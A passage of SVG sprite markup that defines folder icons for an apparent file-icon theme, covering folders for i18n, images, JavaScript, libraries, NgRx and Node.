0 0 1-4.26-4.826c0-.377.049-.742.128-1.089l2.915 2.915v.608a1.217 1.217 0 0 0 1.217 1.217m.608-9.735a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.085-6.085 6.085 6.085 0 0 0-6.085-6.084z" fill="#c5cae9" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-global-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#5c6bc0"/><path d="M21.133 18.585a1.22 1.22 0 0 0-1.156-.846h-.609v-1.825a.608.608 0 0 0-.608-.609h-3.65v-1.217h1.216a.608.608 0 0 0 .609-.608v-1.217h1.217a1.217 1.217 0 0 0 1.216-1.217v-.25a4.858 4.858 0 0 1 1.765 7.79m-4.198 1.545a4.86 4.86 0 0 1-4.26-4.826c0-.377.049-.742.128-1.089l2.915 2.915v.608a1.217 1.217 0 0 0 1.216 1.217m.609-9.735a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.085-6.085 6.085 6.085 0 0 0-6.085-6.084z" fill="#c5cae9" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-i18n" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#5c6bc0" fill-rule="nonzero"/><path d="M17.293 17.786l-1.53-1.512.018-.018a10.555 10.555 0 0 0 2.235-3.934h1.765v-1.205h-4.217V9.912h-1.205v1.205h-4.217v1.205h6.73a9.5 9.5 0 0 1-1.91 3.223 9.424 9.424 0 0 1-1.392-2.018h-1.205c.44.982 1.042 1.91 1.795 2.747l-3.067 3.024.856.856 3.012-3.013 1.874 1.874.458-1.229m3.392-3.054H19.48l-2.711 7.23h1.205l.674-1.808h2.862l.68 1.807h1.206l-2.711-7.23m-1.579 4.218l.976-2.609.976 2.609z" fill="#c5cae9" stroke-width=".602"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-i18n-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#5c6bc0"/><path d="M17.293 17.786l-1.53-1.512.018-.018a10.555 10.555 0 0 0 2.235-3.934h1.765v-1.205h-4.217V9.912h-1.205v1.205h-4.217v1.205h6.73a9.5 9.5 0 0 1-1.91 3.223 9.424 9.424 0 0 1-1.392-2.018h-1.205c.44.982 1.042 1.91 1.795 2.747l-3.067 3.024.856.856 3.012-3.013 1.874 1.874.458-1.229m3.392-3.054H19.48l-2.711 7.23h1.205l.674-1.808h2.862l.68 1.807h1.206l-2.711-7.23m-1.579 4.218l.976-2.609.976 2.609z" fill="#c5cae9" stroke-width=".602"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-images" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#009688" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m0 12.15h8.1v-5.4l-2.7 2.7-1.35-1.35-4.05 4.05m1.35-7.425c-.74 0-1.35.61-1.35 1.35s.61 1.35 1.35 1.35 1.35-.61 1.35-1.35-.61-1.35-1.35-1.35z" fill-rule="nonzero" fill="#b2dfdb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-images-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#009688" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m0 12.15h8.1v-5.4l-2.7 2.7-1.35-1.35-4.05 4.05m1.35-7.425c-.74 0-1.35.61-1.35 1.35s.61 1.35 1.35 1.35 1.35-.61 1.35-1.35-.61-1.35-1.35-1.35z" fill-rule="nonzero" fill="#b2dfdb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-include" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#039be5" fill-rule="nonzero"/><path d="M20.788 15.981h-2.434v2.434h-1.217V15.98h-2.434v-1.217h2.434V12.33h1.217v2.434h2.434m-3.042-5.476a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.084-6.085 6.085 6.085 0 0 0-6.084-6.084z" fill="#b3e5fc" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-include-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#039be5"/><path d="M20.788 15.981h-2.434v2.434h-1.217V15.98h-2.434v-1.217h2.434V12.33h1.217v2.434h2.434m-3.042-5.476a6.085 6.085 0 0 0-6.085 6.084 6.085 6.085 0 0 0 6.085 6.085 6.085 6.085 0 0 0 6.084-6.085 6.085 6.085 0 0 0-6.084-6.084z" fill="#b3e5fc" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-javascript" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ffca28" fill-rule="nonzero"/><path d="M17.935 18.374a2.18 2.18 0 0 0 1.972 1.213c.829 0 1.354-.415 1.354-.987 0-.682-.542-.927-1.452-1.324l-.502-.216c-1.435-.613-2.404-1.378-2.404-3.005 0-1.5 1.167-2.638 2.917-2.638a2.957 2.957 0 0 1 2.842 1.599l-1.552.999a1.362 1.362 0 0 0-1.29-.858.873.873 0 0 0-.957.858c0 .583.374.84 1.226 1.213l.502.216c1.697.733 2.654 1.47 2.654 3.139 0 1.798-1.411 2.783-3.308 2.783a3.839 3.839 0 0 1-3.618-2.046zm-7.048.175c.315.583.583 1.027 1.283 1.027s1.066-.256 1.066-1.255v-6.774h1.998v6.804c0 2.064-1.214 3.01-2.982 3.01a3.104 3.104 0 0 1-2.993-1.826z" fill-rule="nonzero" fill="#ffecb3"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-javascript-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ffca28"/><path d="M17.935 18.374a2.18 2.18 0 0 0 1.972 1.213c.829 0 1.354-.415 1.354-.987 0-.682-.542-.927-1.452-1.324l-.502-.216c-1.435-.613-2.404-1.378-2.404-3.005 0-1.5 1.167-2.638 2.917-2.638a2.957 2.957 0 0 1 2.842 1.599l-1.552.999a1.362 1.362 0 0 0-1.29-.858.873.873 0 0 0-.957.858c0 .583.374.84 1.226 1.213l.502.216c1.697.733 2.654 1.47 2.654 3.139 0 1.798-1.412 2.783-3.308 2.783a3.839 3.839 0 0 1-3.618-2.046zm-7.048.175c.315.583.583 1.027 1.283 1.027s1.066-.256 1.066-1.255v-6.774h1.998v6.804c0 2.064-1.214 3.01-2.982 3.01a3.104 3.104 0 0 1-2.993-1.826z" fill="#ffecb3"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-lib" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#c0ca33" fill-rule="nonzero"/><path d="M17.39 12.544a2.05 2.05 0 0 0 2.05-2.05 2.05 2.05 0 0 0-2.05-2.052 2.05 2.05 0 0 0-2.05 2.051 2.05 2.05 0 0 0 2.05 2.051m0 2.42a8.992 8.992 0 0 0-6.152-2.42v7.52c2.392 0 4.539.923 6.152 2.42a8.992 8.992 0 0 1 6.152-2.42v-7.52c-2.392 0-4.539.923-6.152 2.42z" fill="#f0f4c3" stroke-width=".684"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-lib-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#c0ca33"/><path d="M17.391 12.543a2.05 2.05 0 0 0 2.05-2.05 2.05 2.05 0 0 0-2.05-2.052 2.05 2.05 0 0 0-2.05 2.051 2.05 2.05 0 0 0 2.05 2.051m0 2.42a8.992 8.992 0 0 0-6.152-2.42v7.52c2.392 0 4.539.923 6.152 2.42a8.992 8.992 0 0 1 6.152-2.42v-7.52c-2.392 0-4.539.923-6.152 2.42z" fill="#f0f4c3" stroke-width=".684"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-actions" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ab47bc" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#e1bee7" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-actions-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ab47bc"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#e1bee7" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-effects" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#00bcd4" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#b2ebf2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-effects-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#00bcd4"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#b2ebf2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-reducer" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ef5350" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#ffcdd2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-reducer-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ef5350"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#ffcdd2" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-state" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#8bc34a" fill-rule="nonzero"/><path d="M17.655 8.39l-6.152 2.193.933 8.142 5.219 2.888 5.219-2.888.932-8.142zm-1.278 2.067c.234-.004.487.07.768.223.124.066.498.16.83.21 1.183.17 2.586 1.073 3.03 1.95.306.602.243.927-.225 1.169-.404.209-1.23.108-2.43-.297l-1.012-.342-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.518 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.004-.363-.046 0-.04.164-.243.363-.451.748-.781 1.004-1.365 1.083-2.474l.055-.767.176.365c.194.401.23.98.091 1.478-.115.416-.038.462.173.104.261-.443.345-.373.299.251-.05.678-.283 1.187-.808 1.762-.429.468-.377.552.141.233.5-.308.567-.26.31.224-.487.914-1.516 1.69-2.585 1.948-.647.158-1.106.187-1.7.11-1.55-.204-3.018-1.249-3.718-2.648a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.141.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.108.282-.199.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#dcedc8" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-ngrx-state-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#8bc34a"/><path d="M17.655 8.39l-6.152 2.192.933 8.143 5.219 2.888 5.219-2.888.932-8.143zm-1.278 2.067c.234-.004.487.07.768.222.124.067.498.162.83.21 1.183.171 2.586 1.074 3.03 1.95.306.603.243.928-.225 1.17-.404.208-1.23.107-2.43-.298l-1.012-.341-.36.137c-.522.2-1.044.694-1.258 1.19-.154.359-.177.527-.149 1.116.028.59.071.761.28 1.132.239.422.786.96.88.866.026-.026-.03-.197-.124-.38-.093-.183-.148-.368-.122-.41.026-.042.273.114.548.347.611.517 1.326.848 1.981.917.538.056.661-.044.258-.211a1.238 1.238 0 0 1-.374-.25c-.157-.173-.166-.168.504-.318.417-.094 1.24-.531 1.29-.685.016-.05-.118-.07-.338-.053-.2.016-.363-.005-.363-.046 0-.04.164-.243.363-.452.748-.78 1.004-1.364 1.083-2.474l.055-.766.176.364c.194.402.23.981.091 1.479-.115.416-.038.462.173.103.261-.442.345-.372.299.252-.05.678-.283 1.186-.808 1.761-.429.47-.377.553.141.234.5-.308.567-.26.31.224-.487.914-1.516 1.689-2.585 1.948-.647.158-1.106.187-1.7.109-1.55-.203-3.018-1.248-3.718-2.647a8.736 8.736 0 0 0-.572-.989c-.275-.373-.298-.54-.113-.823.093-.142.114-.286.076-.502-.176-.999-.17-1.03.23-1.437.35-.353.371-.4.371-.813 0-.358.036-.475.198-.637.109-.109.282-.2.384-.2.296-.003.807-.277 1.11-.595.252-.265.52-.4.822-.404z" fill="#dcedc8" stroke-width=".696"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-node" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#8bc34a" fill-rule="nonzero"/><path d="M17.25 8.403c-.188 0-.382.048-.542.139l-5.166 2.986a1.096 1.096 0 0 0-.542.944v5.959c0 .388.208.75.542.944l1.354.778c.66.32.882.326 1.187.326.973 0 1.535-.59 1.535-1.618V12.98a.154.154 0 0 0-.153-.153h-.646c-.09 0-.16.07-.16.153v5.882c0 .458-.472.91-1.228.528l-1.424-.813a.181.181 0 0 1-.076-.145v-5.959c0-.062.027-.118.076-.146l5.167-2.979a.15.15 0 0 1 .152 0l5.167 2.98a.164.164 0 0 1 .076.145v5.959a.181.181 0 0 1-.076.145l-5.167 2.98c-.041.027-.11.027-.16 0l-1.305-.792c-.055-.021-.111-.028-.146-.007-.368.208-.437.25-.778.354-.083.028-.215.076.05.222l1.721 1.021c.167.097.348.146.542.146s.375-.049.542-.146l5.166-2.979c.334-.194.542-.556.542-.944v-5.959c0-.389-.208-.75-.542-.944l-5.166-2.986a1.103 1.103 0 0 0-.542-.14m1.389 4.272c-1.472 0-2.354.618-2.354 1.66 0 1.117.875 1.444 2.291 1.583 1.688.166 1.82.416 1.82.75 0 .576-.465.82-1.549.82-1.375 0-1.666-.341-1.77-1.022a.157.157 0 0 0-.153-.125h-.667c-.083 0-.146.063-.146.153 0 .861.472 1.903 2.736 1.903 1.632 0 2.57-.646 2.57-1.771 0-1.118-.75-1.41-2.34-1.625-1.605-.208-1.765-.32-1.765-.694 0-.313.14-.73 1.327-.73 1.042 0 1.451.23 1.611.945.014.07.076.118.146.118h.673a.134.134 0 0 0 .105-.049c.027-.028.048-.07.034-.11-.097-1.237-.916-1.806-2.57-1.806z" fill-rule="nonzero" fill="#f1f8e9"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-node-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#8bc34a" fill-rule="nonzero"/><path d="M17.25 8.403c-.188 0-.382.048-.542.139l-5.166 2.986a1.096 1.096 0 0 0-.542.944v5.959c0 .388.208.75.542.944l1.354.778c.66.32.882.326 1.187.326.973 0 1.535-.59 1.535-1.618V12.98a.154.154 0 0 0-.153-.153h-.646c-.09 0-.16.07-.16.153v5.882c0 .458-.472.91-1.228.528l-1.424-.813a.181.181 0 0 1-.076-.145v-5.959c0-.062.027-.118.076-.146l5.167-2.979a.15.15 0 0 1 .152 0l5.167 2.98a.164.164 0 0 1 .076.145v5.959a.181.181 0 0 1-.076.145l-5.167 2.98c-.041.027-.11.027-.16 0l-1.305-.792c-.055-.021-.111-.028-.146-.007-.368.208-.437.25-.778.354-.083.028-.215.076.05.222l1.721 1.021c.167.097.348.146.542.146s.375-.049.542-.146l5.166-2.979c.334-.194.542-.556.542-.944v-5.959c0-.389-.208-.75-.542-.944l-5.166-2.986a1.103 1.103 0 0 0-.542-.14m1.389 4.272c-1.472 0-2.354.618-2.354 1.66 0 1.117.875 1.444 